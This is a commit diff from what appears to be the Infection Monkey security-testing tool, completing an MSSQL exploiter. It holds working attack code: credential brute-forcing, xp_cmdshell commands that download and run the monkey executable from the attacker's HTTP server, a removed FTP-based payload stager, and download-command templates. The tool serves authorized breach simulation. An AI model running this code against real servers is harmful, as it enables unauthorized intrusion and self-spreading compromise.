Mssql exploiter finished.

This commit is contained in:
VakarisZ 2019-05-15 17:14:42 +03:00
parent 290abdc26d
commit fa836cc638
8 changed files with 3464 additions and 3694 deletions

View File

@ -104,8 +104,8 @@ class Configuration(object):
dropper_set_date = True
dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll"
dropper_date_reference_path_linux = '/bin/sh'
dropper_target_path_win_32 = r"C:\Windows\monkey32.exe"
dropper_target_path_win_64 = r"C:\Windows\monkey64.exe"
dropper_target_path_win_32 = r"C:\Windows\temp\monkey32.exe"
dropper_target_path_win_64 = r"C:\Windows\temp\monkey64.exe"
dropper_target_path_linux = '/tmp/monkey'
###########################

View File

@ -24,8 +24,8 @@
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
"dropper_log_path_linux": "/tmp/user-1562",
"dropper_set_date": true,
"dropper_target_path_win_32": "C:\\Windows\\monkey32.exe",
"dropper_target_path_win_64": "C:\\Windows\\monkey64.exe",
"dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
"dropper_target_path_linux": "/tmp/monkey",
monkey_dir_linux = '/tmp/monkey_dir',

View File

@ -4,13 +4,12 @@ from time import sleep
import pymssql
import textwrap
from infection_monkey.exploit import HostExploiter, mssqlexec_utils, tools
from infection_monkey.exploit import HostExploiter, tools
from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit.tools import HTTPTools
from infection_monkey.config import WormConfiguration
from infection_monkey.model import DROPPER_ARG, RUN_MONKEY
__author__ = 'Maor Rayzin'
from infection_monkey.model import DROPPER_ARG
from infection_monkey.exploit.tools import get_monkey_dest_path
LOG = logging.getLogger(__name__)
@ -20,46 +19,25 @@ class MSSQLExploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows']
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
LOGIN_TIMEOUT = 15
# Time in seconds to wait between MSSQL queries.
QUERY_BUFFER = 0.5
SQL_DEFAULT_TCP_PORT = '1433'
DEFAULT_PAYLOAD_PATH_WIN = os.path.expandvars(r'~PLD123.bat')
DEFAULT_PAYLOAD_PATH_LINUX = '~PLD123.bat'
# Temporary file that saves commands for monkey's download.
# Temporary file that saves commands for monkey's download and execution.
TMP_FILE_NAME = 'tmp_monkey.bat'
# Monkey file name
MONKEY_FILE = 'monkey.exe'
def __init__(self, host):
super(MSSQLExploiter, self).__init__(host)
self.attacks_list = [mssqlexec_utils.CmdShellAttack]
def create_payload_file(self, payload_path):
"""
This function creates dynamically the payload file to be transported and ran on the exploited machine.
:param payload_path: A path to the create the payload file in
:return: True if the payload file was created and false otherwise.
"""
try:
with open(payload_path, 'w+') as payload_file:
payload_file.write('dir C:\\')
return True
except Exception as e:
LOG.error("Payload file couldn't be created", exc_info=True)
return False
def exploit_host(self):
"""
Main function of the mssql brute force
Return:
True or False depends on process success
"""
# Brute force to get connection
username_passwords_pairs_list = self._config.get_exploit_user_password_pairs()
cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list)
if not cursor:
LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr))
return False
# Get monkey exe for host and it's path
# Get monkey exe for host and it's path
src_path = tools.get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", self.host)
@ -72,36 +50,47 @@ class MSSQLExploiter(HostExploiter):
return False
LOG.info("Started http server on %s", http_path)
# TODO choose bit version
dst_path = os.path.join(WormConfiguration.monkey_dir_windows, MSSQLExploiter.MONKEY_FILE)
dst_path = get_monkey_dest_path(http_path)
tmp_file_path = os.path.join(WormConfiguration.monkey_dir_windows, MSSQLExploiter.TMP_FILE_NAME)
# Create monkey dir.
commands = ["xp_cmdshell \"mkdir %s\"" % WormConfiguration.monkey_dir_windows]
MSSQLExploiter.execute_command(cursor, commands)
# Form download command in a file
commands = [
"xp_cmdshell \"<nul set /p=powershell (new-object System.Net.WebClient).DownloadFile>%s\"" % tmp_file_path,
"xp_cmdshell \"<nul set /p=(^\'%s^\' >>%s\"" % (http_path, tmp_file_path),
"xp_cmdshell \"<nul set /p=, ^\'%s^\') >>%s\"" % (dst_path, tmp_file_path)]
MSSQLExploiter.execute_command(cursor, commands)
commands = ["exec xp_cmdshell \"%s\"" % tmp_file_path]
MSSQLExploiter.execute_command(cursor, commands)
MSSQLExploiter.run_file(cursor, tmp_file_path)
# Form monkey's command in a file
monkey_args = tools.build_monkey_commandline(self.host,
tools.get_monkey_depth() - 1,
dst_path)
monkey_args = ["xp_cmdshell \"<nul set /p=%s >>%s\"" % (part, tmp_file_path)
for part in textwrap.wrap(monkey_args, 40)]
commands = ["xp_cmdshell \"<nul set /p=%s %s >%s\"" % (dst_path, DROPPER_ARG, tmp_file_path)]
commands.extend(monkey_args)
MSSQLExploiter.execute_command(cursor, commands)
MSSQLExploiter.run_file(cursor, tmp_file_path)
commands = ["exec xp_cmdshell \"%s\"" % tmp_file_path]
MSSQLExploiter.execute_command(cursor, commands)
return True
@staticmethod
def run_file(cursor, file_path):
command = ["exec xp_cmdshell \"%s\"" % file_path]
return MSSQLExploiter.execute_command(cursor, command)
@staticmethod
def execute_command(cursor, cmds):
"""
Executes commands on MSSQL server
:param cursor: MSSQL connection
:param cmds: list of commands in MSSQL syntax.
:return: True if successfully executed, false otherwise.
"""
try:
# Running the cmd on remote host
for cmd in cmds:
@ -112,35 +101,6 @@ class MSSQLExploiter(HostExploiter):
return False
return True
def handle_payload(self, cursor, payload):
"""
Handles the process of payload sending and execution, prepares the attack and details.
Args:
cursor (pymssql.conn.cursor obj): A cursor of a connected pymssql.connect obj to user for commands.
payload (string): Payload path
Return:
True or False depends on process success
"""
chosen_attack = self.attacks_list[0](payload, cursor, self.host)
if chosen_attack.send_payload():
LOG.debug('Payload: {0} has been successfully sent to host'.format(payload))
if chosen_attack.execute_payload():
LOG.debug('Payload: {0} has been successfully executed on host'.format(payload))
chosen_attack.cleanup_files()
return True
else:
LOG.error("Payload: {0} couldn't be executed".format(payload))
else:
LOG.error("Payload: {0} couldn't be sent to host".format(payload))
chosen_attack.cleanup_files()
return False
def brute_force(self, host, port, users_passwords_pairs_list):
"""
Starts the brute force connection attempts and if needed then init the payload process.
@ -172,4 +132,4 @@ class MSSQLExploiter(HostExploiter):
LOG.warning('No user/password combo was able to connect to host: {0}:{1}, '
'aborting brute force'.format(host, port))
return False
return None

View File

@ -1,214 +0,0 @@
import os
import multiprocessing
import logging
import pymssql
from infection_monkey.exploit.tools import get_interface_to_target
from infection_monkey.network.info import get_free_tcp_port
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
from time import sleep
__author__ = 'Maor Rayzin'
FTP_SERVER_PORT = 1026
FTP_SERVER_ADDRESS = ''
FTP_SERVER_USER = 'brute'
FTP_SERVER_PASSWORD = 'force'
FTP_WORK_DIR_WINDOWS = os.path.expandvars(r'%TEMP%/')
FTP_WORK_DIR_LINUX = '/tmp/'
UPLOAD_COMMANDS = []
LOG = logging.getLogger(__name__)
class FTP(object):
"""Configures and establish an FTP server with default details.
Args:
user (str): User for FTP server auth
password (str): Password for FTP server auth
working_dir (str): The local working dir to init the ftp server on.
"""
def __init__(self, host, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD):
"""Look at class level docstring."""
self.dst_ip = host.ip_addr
self.user = user
self.password = password
self.working_dir = FTP_WORK_DIR_LINUX if 'linux' in host.os['type'] else FTP_WORK_DIR_WINDOWS
def run_server(self):
""" Configures and runs the ftp server to listen forever until stopped.
"""
# Defining an authorizer and configuring the ftp user
authorizer = DummyAuthorizer()
authorizer.add_user(self.user, self.password, self.working_dir, perm='elr')
# Normal ftp handler
handler = FTPHandler
handler.authorizer = authorizer
address = (get_interface_to_target(self.dst_ip), get_free_tcp_port())
# Configuring the server using the address and handler. Global usage in stop_server thats why using self keyword
self.server = FTPServer(address, handler)
# Starting ftp server, this server has no auto stop or stop clause, and also, its blocking on use, thats why I
# multiproccess is being used here.
self.server.serve_forever()
def stop_server(self):
# Stops the FTP server and closing all connections.
self.server.close_all()
class AttackHost(object):
"""
This class acts as an interface for the attacking methods class
Args:
payload_path (str): The local path of the payload file
"""
def __init__(self, payload_path):
self.payload_path = payload_path
def send_payload(self):
raise NotImplementedError("Send function not implemented")
def execute_payload(self):
raise NotImplementedError("execute function not implemented")
class CmdShellAttack(AttackHost):
"""
This class uses the xp_cmdshell command execution and will work only if its available on the remote host.
Args:
payload_path (str): The local path of the payload file
cursor (pymssql.conn.obj): A cursor object from pymssql.connect to run commands with.
host (model.host.VictimHost): Host this attack is going to target
"""
def __init__(self, payload_path, cursor, host):
super(CmdShellAttack, self).__init__(payload_path)
self.ftp_server, self.ftp_server_p = self.__init_ftp_server(host)
self.cursor = cursor
self.attacker_ip = get_interface_to_target(host.ip_addr)
self.host = host
def send_payload(self):
"""
Sets up an FTP server and using it to download the payload to the remote host
Return:
True if payload sent False if not.
"""
# Sets up the cmds to run
shellcmd1 = """xp_cmdshell "mkdir c:\\tmp& chdir c:\\tmp& echo open {0} {1}>ftp.txt& \
echo {2}>>ftp.txt" """.format(self.attacker_ip, FTP_SERVER_PORT, FTP_SERVER_USER)
shellcmd2 = """xp_cmdshell "chdir c:\\tmp& echo {0}>>ftp.txt" """.format(FTP_SERVER_PASSWORD)
shellcmd3 = """xp_cmdshell "chdir c:\\tmp& echo get {0}>>ftp.txt& echo bye>>ftp.txt" """\
.format(self.payload_path)
shellcmd4 = """xp_cmdshell "chdir c:\\tmp& cmd /c ftp -s:ftp.txt" """
shellcmds = [shellcmd1, shellcmd2, shellcmd3, shellcmd4]
# Checking to see if ftp server is up
if self.ftp_server_p and self.ftp_server:
try:
# Running the cmd on remote host
for cmd in shellcmds:
self.cursor.execute(cmd)
sleep(0.5)
except Exception as e:
LOG.error('Error sending the payload using xp_cmdshell to host', exc_info=True)
self.ftp_server_p.terminate()
return False
return True
else:
LOG.error("Couldn't establish an FTP server for the dropout")
return False
def execute_payload(self):
"""
Executes the payload after ftp drop
Return:
True if payload was executed successfully, False if not.
"""
# Getting the payload's file name
payload_file_name = os.path.split(self.payload_path)[1]
# Preparing the cmd to run on remote, using no_output so I can capture exit code: 0 -> success, 1 -> error.
shellcmd = """DECLARE @i INT \
EXEC @i=xp_cmdshell "chdir C:\\& C:\\tmp\\{0}", no_output \
SELECT @i """.format(payload_file_name)
try:
# Executing payload on remote host
LOG.debug('Starting execution process of payload: {0} on remote host'.format(payload_file_name))
self.cursor.execute(shellcmd)
if self.cursor.fetchall()[0][0] == 0:
# Success
self.ftp_server_p.terminate()
LOG.debug('Payload: {0} execution on remote host was a success'.format(payload_file_name))
return True
else:
LOG.warning('Payload: {0} execution on remote host failed'.format(payload_file_name))
self.ftp_server_p.terminate()
return False
except pymssql.OperationalError as e:
LOG.error('Executing payload: {0} failed'.format(payload_file_name), exc_info=True)
self.ftp_server_p.terminate()
return False
def cleanup_files(self):
"""
Cleans up the folder with the attack related files (C:\\tmp by default)
:return: True or False if command executed or not.
"""
cleanup_command = """xp_cmdshell "rd /s /q c:\\tmp" """
try:
self.cursor.execute(cleanup_command)
LOG.info('Attack files cleanup command has been sent.')
return True
except Exception as e:
LOG.error('Error cleaning the attack files using xp_cmdshell, files may remain on host', exc_info=True)
return False
def __init_ftp_server(self, host):
"""
Init an FTP server using FTP class on a different process
Return:
ftp_s: FTP server object
p: the process obj of the FTP object
"""
try:
ftp_s = FTP(host)
multiprocessing.log_to_stderr(logging.DEBUG)
p = multiprocessing.Process(target=ftp_s.run_server)
p.start()
LOG.debug('Successfully established an FTP server in another process: {0}, {1}'.format(ftp_s, p.name))
return ftp_s, p
except Exception as e:
LOG.error('Exception raised while trying to pull up the ftp server', exc_info=True)
return None, None

View File

@ -18,7 +18,6 @@ DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del
# Commands used for downloading monkeys
POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\""
POWERSHELL_UPLOAD_SHORT = "powershell (new-object System.Net.WebClient).DownloadFile('%(http_path)s','%(monkey_path)s')"
WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s"
RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s'
CHMOD_MONKEY = "chmod +x %(monkey_path)s"

View File

@ -37,8 +37,8 @@ class WindowsUpgrader(object):
with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file:
with open(WormConfiguration.dropper_target_path_win_64, 'wb') as written_monkey_file:
shutil.copyfileobj(downloaded_monkey_file, written_monkey_file)
except (IOError, AttributeError):
LOG.error("Failed to download the Monkey to the target path.")
except (IOError, AttributeError) as e:
LOG.error("Failed to download the Monkey to the target path: %s." % e)
return
monkey_options = build_monkey_commandline_explicitly(opts.parent, opts.tunnel, opts.server, opts.depth)

View File

@ -557,14 +557,14 @@ SCHEMA = {
"dropper_target_path_win_32": {
"title": "Dropper target path on Windows (32bit)",
"type": "string",
"default": "C:\\Windows\\monkey32.exe",
"default": "C:\\Windows\\temp\\monkey32.exe",
"description": "Determines where should the dropper place the monkey on a Windows machine "
"(32bit)"
},
"dropper_target_path_win_64": {
"title": "Dropper target path on Windows (64bit)",
"type": "string",
"default": "C:\\Windows\\monkey64.exe",
"default": "C:\\Windows\\temp\\monkey64.exe",
"description": "Determines where should the dropper place the monkey on a Windows machine "
"(64 bit)"
},

File diff suppressed because it is too large Load Diff